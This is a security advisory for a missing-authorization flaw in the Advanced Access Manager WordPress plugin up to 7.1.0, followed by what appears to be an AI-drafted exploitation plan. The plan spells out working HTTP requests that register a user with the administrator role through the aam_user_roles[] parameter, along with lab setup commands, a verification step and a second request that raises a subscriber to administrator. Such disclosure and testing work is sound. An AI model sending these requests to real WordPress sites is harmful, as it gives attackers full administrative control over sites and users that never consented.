Advanced Access Manager – Access Governance for WordPress <= 7.1.0 - Missing Authorization
Description
The Advanced Access Manager – Access Governance for WordPress plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 7.1.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=7.1.0What Changed in the Fix
Changes introduced in v7.1.1
Source Code
WordPress.org SVN### 1. Vulnerability Summary The **Advanced Access Manager (AAM)** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 7.1.0. Specifically, the `AAM_Backend_Manager::profileUpdate` function, which is hooked to `user_register`, does not verify if the reques…
Show full research plan
1. Vulnerability Summary
The Advanced Access Manager (AAM) plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 7.1.0. Specifically, the AAM_Backend_Manager::profileUpdate function, which is hooked to user_register, does not verify if the requester has the necessary permissions to assign user roles. This allows unauthenticated attackers to assign themselves arbitrary roles (including administrator) during the public registration process, provided that the plugin's "Multi-Role" feature is enabled.
2. Attack Vector Analysis
- Endpoint:
wp-login.php?action=register - Action: Public user registration.
- Vulnerable Hook:
user_register(registered inapplication/Backend/Manager.php). - Vulnerable Parameter:
aam_user_roles[](array of role slugs). - Preconditions:
- WordPress membership is enabled (
users_can_register). - AAM Multi-Role support is enabled (
core.settings.multi_access_levels).
- WordPress membership is enabled (
- Authentication: None (Unauthenticated).
3. Code Flow
- Entry Point: An unauthenticated user submits a POST request to
wp-login.php?action=register. - WordPress Core: WordPress validates the basic registration data (
user_login,user_email) and creates a new user. - Hook Trigger: After the user is created, WordPress fires the
user_registeraction hook, passing the new$user_id. - Plugin Callback:
AAM_Backend_Manager::profileUpdate($user_id)is executed because it is registered to this hook inapplication/Backend/Manager.php:if (AAM::api()->config->get('core.settings.multi_access_levels')) { // ... add_action('user_register', array($this, 'profileUpdate')); } - Vulnerable Logic: The
profileUpdatefunction (logic inferred frommultiple-roles.phpand the vulnerability description) reads theaam_user_rolesparameter directly from the$_POSTsuperglobal and applies these roles to the newly created$user_idwithout checking if the current requester haspromote_usersormanage_optionscapabilities.
4. Nonce Acquisition Strategy
This vulnerability bypasses nonce requirements because the user_register hook is a standard WordPress action intended for public use. The core registration process does not utilize plugin-specific nonces. If the profileUpdate function fails to implement its own capability check (current_user_can), it inherits the unauthenticated context of the registration page.
5. Exploitation Strategy
The goal is to register a new user and simultaneously assign them the administrator role using the aam_user_roles[] parameter.
Step-by-Step Plan:
- Initialize Environment: Ensure AAM is active and the "Multi-Role" setting is enabled.
- Enable Registration: Ensure WordPress allows public registration.
- Perform Registration: Send a POST request to
wp-login.php?action=register. - Payload:
user_login:pwned_adminuser_email:pwned@example.comaam_user_roles[]:administratorwp-submit:Register
HTTP Request (via http_request tool):
POST /wp-login.php?action=register HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
user_login=pwned_admin&user_email=pwned%40example.com&aam_user_roles%5B%5D=administrator&wp-submit=Register
6. Test Data Setup
Before running the exploit, the environment must be configured as follows:
- Activate AAM:
wp plugin activate advanced-access-manager - Enable Multi-Role Support:
wp eval "AAM::api()->config->set('core.settings.multi_access_levels', true);" - Enable WP Registration:
wp option update users_can_register 1
7. Expected Results
- The registration should succeed (HTTP 200/302).
- A new user with the login
pwned_adminwill be created. - The user
pwned_adminwill be assigned theadministratorrole in addition to (or instead of) the defaultsubscriberrole.
8. Verification Steps
After performing the HTTP request, verify the success of the privilege escalation using WP-CLI:
# Check the roles assigned to the new user
wp user get pwned_admin --field=roles
Success Condition: The output contains administrator.
9. Alternative Approaches
If the user_register hook is restricted or fails, an attacker could attempt the same payload via the profile_update hook if they can gain low-level access (e.g., as a Subscriber).
- Login as a Subscriber.
- Navigate to
wp-admin/profile.php. - Submit a POST update to
profile.phpincludingaam_user_roles[]=administrator. - If
profileUpdateis also missing authorization checks for the self-update scenario, the Subscriber will elevate themselves to Admin.
Request for Alternative Strategy:
POST /wp-admin/profile.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]
...&user_id=[SELF_ID]&aam_user_roles%5B%5D=administrator&submit=Update+Profile
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.